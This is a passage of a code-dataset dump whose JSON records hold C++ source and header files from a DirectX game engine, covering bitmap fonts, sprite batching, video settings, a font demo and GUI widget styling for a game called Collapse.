to bool indicating if method succeeded.\r\ninline bool E_B(HRESULT hr) \r\n{\r\n\treturn SUCCEEDED(hr);\r\n}\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7171717286109924, "alphanum_fraction": 0.7222222089767456, "avg_line_length": 21.352941513061523, "blob_id": "d1158f383f35087ebb04999db252d0502285cec6", "content_id": "7ef16d0ecca738dfed8416f7c830da9f2e675e86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 792, "license_type": "no_license", "max_line_length": 59, "num_lines": 34, "path": "/source/VideoSettings.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VIDEOSETTINGS_H\r\n#define VIDEOSETTINGS_H\r\n\r\n#include \"Settings.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Video settings\r\nclass VideoSettings: public SettingsGroup\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tVideoSettings(const std::string& filename = \"video.cfg\");\r\n\r\n\t/// Only existing settings can be used\r\n\tvirtual SettingValue& operator[](const std::string& name);\r\n\r\n\t/// Returns device type\r\n\tD3DDEVTYPE getRenderer();\r\n\t/// Returns backbuffer format\r\n\tD3DFORMAT getBBufferFormat();\r\n\t/// Returns depth and stencil buffer format\r\n\tD3DFORMAT getDepthStencilFormat();\r\n\t/// Returns multisampling type\r\n\tD3DMULTISAMPLE_TYPE getAntialiasing();\r\n\t/// Returns vertex processing type\r\n\tDWORD getVertexProcessing();\r\n\t/// Returns present interval\r\n\tDWORD getPresentInterval();\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6969009637832642, "alphanum_fraction": 0.7150415778160095, "avg_line_length": 31.100000381469727, "blob_id": "9c70213ed4cea5b77129ad861c52dc24eada9736", "content_id": "d0babc5f9c3364b685936cf32c180296d3ffc7b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2646, "license_type": "no_license", "max_line_length": 135, "num_lines": 80, "path": "/source/BitmapFont.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef BITMAPFONT_H\r\n#define BITMAPFONT_H\r\n\r\n#include \"SpriteBatch.h\"\r\n#include \"TextureManager.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Describes single BitmapFont character\r\nstruct CharDesc\r\n{\r\n\t/// Source texure rectangle containing character image\r\n\tRectF source;\r\n\t/// Offset (in pixels) from cursor position to left corner of character\r\n\tfloat x_offset;\r\n\t/// Offset (in pixels) from cursor position to top corner of character\r\n\tfloat y_offset;\r\n\t/// Amount of pixels cursor must advance after printing character\r\n\tfloat x_advance;\r\n};\r\n\r\n/// Describes bitmap font\r\nstruct BitmapFontDesc\r\n{\r\n\t/// Texture containing character images\r\n\tTexture2DPtr font_texture;\r\n\t/// Font height in pixels\r\n\tfloat line_height;\r\n\t/// Description of each character\r\n\tCharDesc chars[256];\r\n};\r\n\r\n/// Renders text using characters stored in a texture\r\nclass BitmapFont : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor. Loads font description from mml font description file.\r\n\tBitmapFont(SpriteBatchPtr sprite_batch, const std::string& path, uint layer = 0);\r\n\t/// Constructor. Requires to provide BitmapFontDesc.\r\n\tBitmapFont(SpriteBatchPtr sprite_batch, const BitmapFontDesc& desc, uint layer = 0);\r\n\t/// Destructor\r\n\tvirtual ~BitmapFont();\r\n\r\n\t/// Draws text on screen\r\n\t/// \\param position Coordinates of top left corner of text in virtual screen space (see SpriteBatch)\r\n\t/// \\param text Text to draw\r\n\t/// \\param color Color of text\r\n\tvoid draw(const Vector2& position, const std::string& text, const Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Draws scaled text on screen\r\n\t/// \\param center_position Coordinates of center of text in virtual screen space (see SpriteBatch)\r\n\t/// \\param scale Scaling factor. 1.0f - normal size, 2.0f - double, etc.\r\n\t/// \\param text Text to draw\r\n\t/// \\param color Color of text\r\n\tvoid drawScaled(const Vector2& center_position, float scale, const std::string& text, const Color& color = Color(255, 255, 255, 255));\r\n\t\r\n\t/// Fits text into rectangle and draws it on screen\r\n\t/// \\param rect Rectangle to fit text into. In virtual screen space (see SpriteBatch)\r\n\t/// \\param text Text to draw\r\n\t/// \\param color Color of text\r\n\tvoid drawToRect(const RectF& rect, const std::string& text, const Color& color = Color(255, 255, 255, 255));\r\n\t\r\n\t/// Returns width of text string in pixels\r\n\tfloat getWidth(const std::string& text) const;\r\n\r\n\t/// Returns height of single line of text in pixels\r\n\tfloat getHeight() const { return desc.line_height; }\r\n\r\nprivate:\r\n\tBitmapFontDesc desc;\r\n\tSpriteBatchPtr sprite_batch;\r\n\r\n\tuint layer;\r\n};\r\n\r\ntypedef boost::shared_ptr<BitmapFont> BitmapFontPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6236657500267029, "alphanum_fraction": 0.675510823726654, "avg_line_length": 32.536842346191406, "blob_id": "dc2662bccccf991516d27e54648d7e2a4efd94e2", "content_id": "67264dfbef71f0749f3dd7e478b6ed4ebfa7463f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3279, "license_type": "no_license", "max_line_length": 125, "num_lines": 95, "path": "/samples/Font/Font.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass FontDemo : public Application\r\n{\r\npublic:\r\n\tFontDemo(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~FontDemo() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 800, 600, 1000);\r\n\t\timpact = BitmapFontPtr(new BitmapFont(sprite_batch, Filesystem::redirect(\"impact.fnt\")));\r\n\t\tconsolas = BitmapFontPtr(new BitmapFont(sprite_batch, Filesystem::redirect(\"consolas.fnt\")));\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\timpact->draw(Vector2(10.0f, 10.0f), FORMAT(\"FPS: %d\", % Timer::getFPS()), Color(68, 196, 128, 255));\r\n\t\timpact->draw(Vector2(10.0f, 50.0f), \"BitmapFont Demo\", Color(68, 196, 128, 255));\r\n\t\timpact->drawScaled(Vector2(400.0f, 240.0f), 1.0f + sinf(Timer::getTimeMs() / 500.0f)/4.0f, \"Text scaling\");\r\n\t\timpact->drawScaled(Vector2(400.0f, 270.0f), 1.0f + sinf(Timer::getTimeMs() / 500.0f + 0.5f)/4.0f, \"Text scaling\");\r\n\t\timpact->drawScaled(Vector2(400.0f, 300.0f), 1.0f + sinf(Timer::getTimeMs() / 500.0f + 1.0f)/4.0f, \"Text scaling\");\r\n\t\timpact->drawScaled(Vector2(400.0f, 330.0f), 1.0f + sinf(Timer::getTimeMs() / 500.0f + 1.5f)/4.0f, \"Text scaling\");\r\n\r\n\t\tconsolas->draw(Vector2(10.0f, 90.0f), \"The quick brown fox jumps over the lazy dog. 123456789\", Color(128, 128, 128, 255));\r\n\r\n\t\tconsolas->drawToRect(RectF(530.0f, 10.0f, 250.0f, 580.0f),\r\n\t\t\"His name was Gaal Dornick and he was just a country boy who had never seen Trantor before. \"\r\n\t\t\"That is, not in real life. He had seen it many times on the hyper-video, and occasionally in \"\r\n\t\t\"tremendous three-dimensional newscasts covering an Imperial Coronation or the opening of a Galactic Council. \"\r\n\t\t\"Even though he had lived all his life on the world of Synnax, which circled a star at the edges of the Blue Drift, \"\r\n\t\t\"he was not cut off from civilization, you see. At that time, no place in the Galaxy was. There were nearly \"\r\n\t\t\"twenty-five million inhabited planets in the Galaxy then, and not one but owed allegiance to the Empire whose \"\r\n\t\t\"seat was on Trantor. It was the last halfcentury in which that could be said.\"); \r\n\t\t\r\n\t\tsprite_batch->present();\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\t\t\r\n\t\tmain_renderer->endFrame();\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tSpriteBatchPtr sprite_batch;\r\n\tBitmapFontPtr impact, consolas;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tFontDemo demo(hInstance, \"BitmapFont Demo\", \"FontDemo.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}" }, { "alpha_fraction": 0.7052186131477356, "alphanum_fraction": 0.7202633023262024, "avg_line_length": 30.976743698120117, "blob_id": "ef9423fe81f468119b1cf4b63bffdf3e9ead8e12", "content_id": "cc4bf5a76d5adecf4d27f6322232a0a62d4bc1df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4254, "license_type": "no_license", "max_line_length": 109, "num_lines": 129, "path": "/source/SpriteBatch.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SPRITEBATCH_H\r\n#define SPRITEBATCH_H\r\n\r\n#include \"Rect.h\"\r\n#include \"Texture2D.h\"\r\n#include \"Vector2.h\"\r\n#include \"Colors.h\"\r\n#include \"Vertices.h\"\r\n#include \"Renderer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Represents single sprite. For internal use only.\r\nstruct Sprite\r\n{\r\n\t// Default constructor\r\n\tSprite();\r\n\r\n\t// Copy constructor\r\n\tSprite(const Sprite& s);\r\n\r\n\t// Sort operator\r\n\tbool operator<(const Sprite& s);\r\n\r\n\t// Equality operator\r\n\tbool operator==(const Sprite& s);\r\n\r\n\tRectF source, dest;\r\n\tColor color;\r\n\tTexture2DPtr texture;\r\n\tint layer;\r\n\tfloat rotation;\r\n};\r\n\r\n/// Interval of sprites with same texture and layer. For internal use only.\r\nstruct SpriteSpan\r\n{\r\n\tuint first, count;\r\n};\r\n\r\n/// Class for batch rendering of sprites\r\nclass SpriteBatch : public Renderable, public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param renderer Renderer to which this sprite will send batches\r\n\t/// \\param virtual_width Virtual resolution width\r\n\t/// \\param virtual_height Virtual resolution height\r\n\t/// \\param base_priority Base priority value of generated batches.\r\n\t/// Individual priority for each batch is calculated like this: base_priority + sprite_layer\r\n\tSpriteBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 base_priority = 1000);\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~SpriteBatch();\r\n\r\n\t/// Prepares batches and registers for rendering. Must be called after all drawing in current frame is done.\r\n\tvoid present(uint technique = 0);\r\n\r\n\t/// Sets new effect. Default effect is provided, so it is not required to set it.\r\n\t/// Default effect is named %SpriteBatch and is loaded from file default_effect_file\r\n\tvoid setEffect(EffectPtr effect);\r\n\t\r\n\t/// Draws a textured rectangle\r\n\t/// \\param texture Pointer to texture which will be used\r\n\t/// \\param layer Layer of rectangle. Rectangles with with lower layer number are always\r\n\t///\t\tdrawn on top rectangles with higher layer.\r\n\t/// \\param source Portion of texture which will be visible\r\n\t/// \\param dest Location where texture will be placed\r\n\t/// \\param color Tint color (White means no tinting)\r\n\tvoid draw(Texture2DPtr texture, uint layer, const RectF& source, const RectF& dest, \r\n\t\tconst Color& color = Color(255, 255, 255, 255), float rotation = 0.0f);\r\n\t\r\n\t/// Draws a textured rectangle\r\n\t/// \\param texture Pointer to texture which will be used\r\n\t/// \\param layer Layer of rectangle. Rectangles with with lower layer number are always\r\n\t///\t\tdrawn on top rectangles with higher layer.\r\n\t/// \\param source Portion of texture which will be visible\r\n\t/// \\param location Location where top left corner of texture will be placed\r\n\t/// \\param color Tint color (White means no tinting)\r\n\tvoid draw(Texture2DPtr texture, uint layer, const RectF& source, const Vector2& location, \r\n\t\tconst Color& color = Color(255, 255, 255, 255));\r\n\t\t\r\n\t/// Draws a textured rectangle\r\n\t/// \\param texture Pointer to texture which will be used\r\n\t/// \\param layer Layer of rectangle. Rectangles with with lower layer number are always\r\n\t///\t\tdrawn on top rectangles with higher layer.\r\n\t/// \\param location Location where top left corner of texture will be placed\r\n\t/// \\param color Tint color (White means no tinting)\r\n\tvoid draw(Texture2DPtr texture, uint layer, const Vector2& location, \r\n\t\tconst Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Sets new virtual resolution\r\n\tvoid setVirtualResolution(uint width, uint height) { virtual_width = width; virtual_height = height; };\r\n\t\r\n\t// Renderable implementation\r\n\tvirtual void onPreRender(uint16 batch_id);\r\n\tvirtual uint getBatches(Batch** batches);\r\n\r\nprivate:\r\n\tvoid build_ib();\r\n\tvoid build_batches(uint technique);\r\n\r\n\tstatic const uint max_sprites = 4096;\r\n\tstatic const uint max_spans = 512;\r\n\r\n\tRendererPtr renderer;\r\n\tEffectPtr effect;\r\n\tParamHandle texture_param;\r\n\r\n\tIndexBufferPtr index_buffer;\r\n\tVertexBufferPtr vertex_buffer;\r\n\t\r\n\tstatic int vertex_buffer_name_counter;\r\n\r\n\tboost::array<Sprite, max_sprites> sprites;\r\n\tboost::array<SpriteSpan, max_spans> spans;\r\n\tboost::array<Batch, max_spans> batches;\r\n\r\n\tuint sprite_count, span_count, virtual_width, virtual_height;\r\n\tuint16 base_priority;\r\n\t\r\n\tbool presented;\r\n};\r\n\r\ntypedef boost::shared_ptr<SpriteBatch> SpriteBatchPtr;\r\n\r\n}\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.7221674919128418, "alphanum_fraction": 0.7280788421630859, "avg_line_length": 27.91176414489746, "blob_id": "98abeea4583cc5861feaa874f101628882c89b76", "content_id": "9daaf3770117f36f1a85e0692aa5771d6f413a38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1015, "license_type": "no_license", "max_line_length": 93, "num_lines": 34, "path": "/source/RenderingParams.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RENDERINGPARAMS_H\r\n#define RENDERINGPARAMS_H\r\n\r\n#include \"Vector2.h\"\r\n#include \"Vector3.h\"\r\n#include \"Vector4.h\"\r\n#include \"Matrix.h\"\r\n#include \"Camera.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Encapsulates parameters commonly used by effects \r\nclass RenderingParams : public boost::noncopyable\r\n{\r\npublic:\t\r\n\t/// Sets params which varies per frame. VideoDevice does this.\r\n\tvoid setPerFrame(float time);\r\n\t/// Sets params which varies per scene. VideoDevice does this.\r\n\tvoid setPerScene(const Matrix& projection, const Vector2& rt_size, bool perspective = true);\r\n\t/// Sets params which varies per batch. Must be called in Renderable::onPreRender()\r\n\tvoid setPerBatch(const Matrix& world, int pass);\r\n\t/// Sets camera.\r\n\tvoid setCamera(const Camera& camera);\r\n\r\n\tMatrix world, view, projection, world_view, view_projection, world_view_projection;\r\n\tVector3 camera_pos, camera_dir, camera_up;\r\n\tVector2 rendertarget_size;\r\n\tfloat projection_fov, clip_near, clip_far, time;\r\n\tint pass;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6412222981452942, "alphanum_fraction": 0.6678857803344727, "avg_line_length": 27.43055534362793, "blob_id": "b755d5f219bf3d106a05a3a9acf2159a358ca6dd", "content_id": "4bf74a5937ea5b7f19b824b155ad83f350c0bf94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8476, "license_type": "no_license", "max_line_length": 132, "num_lines": 288, "path": "/apps/Collapse/CollapseGUIStyle.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"CollapseGUIStyle.h\"\r\n\r\n#include \"Timer.h\"\r\n#include \"Exception.h\"\r\n#include \"Filesystem.h\"\r\n\r\n// TODO: fix \"blend_modiefiers\" to shifts\r\n\r\nconst Color font_color(0, 0, 0);\r\nconst Color font_color_selected(64, 64, 64);\r\n\r\nconst float button_slide_distance = 3.0f;\r\nconst float sliding_time = 0.1f;\r\nconst float slider_width = 96.0f;\r\nconst float slider_height = 7.0f;\r\nfloat selector_button_size;\r\nfloat switch_button_size;\r\n\r\nconst RectF mouse_source(0.0f, 0.0f, 16.0f, 16.0f);\r\nconst RectF slider_source(0.0f, 17.0f, 96.0f, 7.0f);\r\nconst RectF slider_knob_up_source(1.0f, 25.0f, 4.0f, 7.0f);\r\nconst RectF slider_knob_down_source(6.0f, 25.0f, 4.0f, 7.0f);\r\n\r\nCollapseGUIStyle::CollapseGUIStyle(SpriteBatchPtr sprite_batch, TextureManagerPtr texture_manager, BitmapFontPtr font, uint layer)\r\n: sprite_batch(sprite_batch), font(font), layer(layer)\r\n{\r\n\ttexture = texture_manager->loadTexture2D(\"collapse_gui\", Filesystem::redirect(\"collapse_gui.png\"));\r\n\tselector_button_size = font->getWidth(\"[\");\r\n\tswitch_button_size = font->getWidth(\"+ \");\r\n}\r\n\r\nCollapseGUIStyle::~CollapseGUIStyle()\r\n{\r\n}\r\n\r\nbool CollapseGUIStyle::hitButton(const Vector2& pos, const std::string& text)\r\n{\r\n\tRectF button(pos, Vector2(font->getWidth(text) + button_slide_distance, font->getHeight()));\r\n\treturn button.collidePoint(mouse_pos);\r\n}\r\n\r\nbool CollapseGUIStyle::hitSwitch(const Vector2& pos, const std::string& text)\r\n{\r\n\tRectF switch_(pos, Vector2(font->getWidth(text) + button_slide_distance + switch_button_size, font->getHeight()));\r\n\treturn switch_.collidePoint(mouse_pos);\r\n}\r\n\r\nfloat CollapseGUIStyle::hitSlider(const Vector2& pos)\r\n{\r\n\tRectF slider(pos, Vector2(slider_width, slider_height));\r\n\tif(!slider.collidePoint(mouse_pos))\r\n\t\treturn -1.0f;\r\n\r\n\treturn (mouse_pos.x - pos.x) / slider_width;\r\n}\r\n\r\nbool CollapseGUIStyle::hitSelector(const Vector2& pos, const std::vector<std::string>& selections, uint& button)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SELECTOR, pos);\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState dummy;\r\n\t\tdummy.selector.next_shift = 0.0f;\r\n\t\tdummy.selector.prev_shift = 0.0f;\r\n\t\tdummy.selector.width = calcSelectorWidth(selections);\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\tfloat width = cache.at(id).selector.width;\r\n\r\n\tbutton = 0;\r\n\tRectF selector(pos, Vector2(width, font->getHeight()));\r\n\tif(!selector.collidePoint(mouse_pos))\r\n\t\treturn false;\r\n\r\n\t/*\r\n\tRectF prev(pos, Vector2(selector_button_size, font->getHeight()));\r\n\tRectF next(pos.x + (width - selector_button_size), pos.y, selector_button_size, font->getHeight());\r\n\r\n\t// Both can't be true\r\n\tassert(!(prev.collidePoint(mouse_pos) && next.collidePoint(mouse_pos)));\r\n\r\n\tif(prev.collidePoint(mouse_pos))\r\n\t\tbutton = 1;\r\n\tif(next.collidePoint(mouse_pos))\r\n\t\tbutton = 2;\r\n\t*/\r\n\tfloat middle = pos.x + width / 2.0f;\r\n\tif(mouse_pos.x < middle-2.0f)\r\n\t\tbutton = 1;\r\n\tif(mouse_pos.x > middle+2.0f)\r\n\t\tbutton = 2;\r\n\r\n\treturn true;\r\n}\r\n\r\nvoid CollapseGUIStyle::drawLabel(const Vector2& pos, const std::string& text)\r\n{\r\n\tfont->draw(pos, text, font_color);\r\n}\r\n\r\nvoid CollapseGUIStyle::drawButton(const Cvekas::Vector2 &pos, const std::string &text, bool mouse_over, bool pressed)\r\n{\r\n\t\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_BUTTON, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState dummy;\r\n\t\tdummy.shift = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).shift;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\r\n\tColor color = Color::lerp(font_color, font_color_selected, blend_modifier);\r\n\r\n\tVector2 text_pos(blend_modifier * blend_modifier * button_slide_distance, 0.0f);\r\n\ttext_pos += pos;\r\n\r\n\tfont->draw(text_pos, text, color);\r\n}\r\n\r\nvoid CollapseGUIStyle::drawSwitch(const Cvekas::Vector2 &pos, const std::string &text, bool mouse_over, bool state)\r\n{\r\n\t\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SWITCH, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState dummy;\r\n\t\tdummy.shift = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).shift;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\t\r\n\tColor color = Color::lerp(font_color, font_color_selected, blend_modifier);\r\n\r\n\tVector2 text_pos(blend_modifier * blend_modifier * button_slide_distance, 0.0f);\r\n\ttext_pos += pos;\r\n\r\n\tstd::string new_text = (state ? \"+ \" : \"- \") + text;\r\n\r\n\tfont->draw(text_pos, new_text, color);\r\n}\r\n\r\nvoid CollapseGUIStyle::drawSlider(const Cvekas::Vector2 &pos, bool mouse_over, float state)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SLIDER, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState dummy;\r\n\t\tdummy.shift = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).shift;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\r\n\tsprite_batch->draw(texture, layer+1, slider_source, pos);\r\n\r\n\tVector2 knob_pos(pos.x + (slider_source.width - slider_knob_down_source.width) * state, pos.y);\r\n\r\n\tsprite_batch->draw(texture, layer+2, slider_knob_down_source, knob_pos, Color(255, 255, 255, int(blend_modifier * 255.0f)));\r\n\tsprite_batch->draw(texture, layer+3, slider_knob_up_source, knob_pos, Color(255, 255, 255, int(255.0f - blend_modifier * 255.0f)));\r\n}\r\n\r\nvoid CollapseGUIStyle::drawSelector(const Vector2& pos, const std::vector<std::string>& selections, uint item, \r\n\t\tbool mouse_over, bool mouse_over_prev, bool mouse_over_next, bool pressed)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SELECTOR, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetState dummy;\r\n\t\tdummy.selector.next_shift = 0.0f;\r\n\t\tdummy.selector.prev_shift = 0.0f;\r\n\t\tdummy.selector.width = calcSelectorWidth(selections);\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tSelectorState& state = cache.at(id).selector;\r\n\r\n\tif(mouse_over_prev)\r\n\t{\r\n\t\tstate.prev_shift += Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(state.prev_shift > 1.0f)\r\n\t\t\tstate.prev_shift = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstate.prev_shift -= Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(state.prev_shift < 0.0f)\r\n\t\t\tstate.prev_shift = 0.0f;\r\n\t}\r\n\r\n\tif(mouse_over_next)\r\n\t{\r\n\t\tstate.next_shift += Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(state.next_shift > 1.0f)\r\n\t\t\tstate.next_shift = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstate.next_shift -= Timer::getTimeScale() * (1.0f / sliding_time);\r\n\t\tif(state.next_shift < 0.0f)\r\n\t\t\tstate.next_shift = 0.0f;\r\n\t}\r\n\r\n\tColor color_prev = Color::lerp(font_color, font_color_selected, state.prev_shift);\r\n\tColor color_next = Color::lerp(font_color, font_color_selected, state.next_shift);\r\n\r\n\tVector2 prev_pos(-state.prev_shift * state.prev_shift * button_slide_distance, 0.0f);\r\n\tprev_pos += pos;\r\n\r\n\tVector2 next_pos(state.next_shift * state.next_shift * button_slide_distance, 0.0f);\r\n\tnext_pos += pos;\r\n\tnext_pos.x += state.width - selector_button_size;\r\n\r\n\tVector2 text_pos(pos);\r\n\ttext_pos.x += (state.width - font->getWidth(selections[item])) / 2.0f;\r\n\r\n\tfont->draw(prev_pos, \"[\", color_prev);\r\n\tfont->draw(next_pos, \"]\", color_next);\r\n\tfont->draw(text_pos, selections[item], font_color);\r\n}\r\n\r\nvoid CollapseGUIStyle::endFrame()\r\n{\r\n\tsprite_batch->draw(texture, layer+3, RectF(0.0f, 0.0f, 16.0f, 16.0f), mouse_pos);\r\n}\r\n\r\nvoid CollapseGUIStyle::drawSimpleSlider(const Vector2& pos, float state, const Color& color)\r\n{\r\n\tsprite_batch->draw(texture, layer+1, slider_source, pos, color);\r\n\tVector2 knob_pos(pos.x + (slider_source.width - slider_knob_down_source.width) * state, pos.y);\r\n\tsprite_batch->draw(texture, layer+2, slider_knob_down_source, knob_pos, color);\r\n}\r\n\r\nfloat CollapseGUIStyle::calcSelectorWidth(const std::vector<std::string>& selections)\r\n{\r\n\t// Find max text width\r\n\tfloat max_width = 0.0f;\r\n\tfor(std::vector<std::string>::const_iterator itr = selections.begin(); itr != selections.end(); ++itr)\r\n\t\tmax_width = max(max_width, font->getWidth(*itr));\r\n\r\n\treturn max_width + selector_button_size * 2.0f;\r\n}\r\n" }, { "alpha_fraction": 0.6567164063453674, "alphanum_fraction": 0.6567164063453674, "avg_line_length": 8.461538314819336, "blob_id": "94d878e14ec74a6b960795ce55e657bbfe40faca", "content_id": "8ec5c3735e4534280dcf0560733782eb728814a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 134, "license_type": "no_license", "max_line_length": 19, "num_lines": 13, "path": "/apps/Collapse/States.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef STATES_H\r\n#define STATES_H\r\n\r\nenum CollapseStates\r\n{\r\n\tMAIN_MENU,\r\n\tHIGHSCORES,\r\n\tOPTIONS,\r\n\tGAME,\r\n\tSTATE_COUNT\r\n};\r\n\r\n#endif" }, { "alpha_fraction": 0.7303426265716553, "alphanum_fraction": 0.7357653379440308, "avg_line_length": 28.066667556762695, "blob_id": "214a5f882cf7388fd4604efe5584371b57838013", "content_id": "d41a668e7f17328530b9b9c3c43c19879f694b4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4057, "license_type": "no_license", "max_line_length": 117, "num_lines": 135, "path": "/source/VideoDevice.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VIDEODRIVER_H\r\n#define VIDEODRIVER_H\r\n\r\n#include \"CommonTypes.h\"\r\n#include \"Colors.h\"\r\n#include \"DisplayModes.h\"\r\n#include \"DeviceCaps.h\"\r\n#include \"Window.h\"\r\n#include \"SpriteBatch.h\"\r\n#include \"VideoSettings.h\"\r\n#include \"TextureManager.h\"\r\n#include \"GpuBufferManager.h\"\r\n#include \"EffectManager.h\"\r\n#include \"Renderer.h\"\r\n#include \"RenderingParams.h\"\r\n\r\n/// Main engine namespace\r\nnamespace Cvekas {\r\n\r\n/// Video device\r\nclass VideoDevice : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tVideoDevice();\r\n\t/// Destructor\r\n\t~VideoDevice();\r\n\r\n\t/// Returns D3DPtr. For internal use.\r\n\tD3DPtr getD3D() const { return direct3d; };\r\n\t/// Returns D3DDevicePtr. For internal use.\r\n\tD3DDevicePtr getD3DDevice() const { return device; };\r\n\t\r\n\t/// Returns DisplayModes of this device \r\n\tDisplayModesPtr 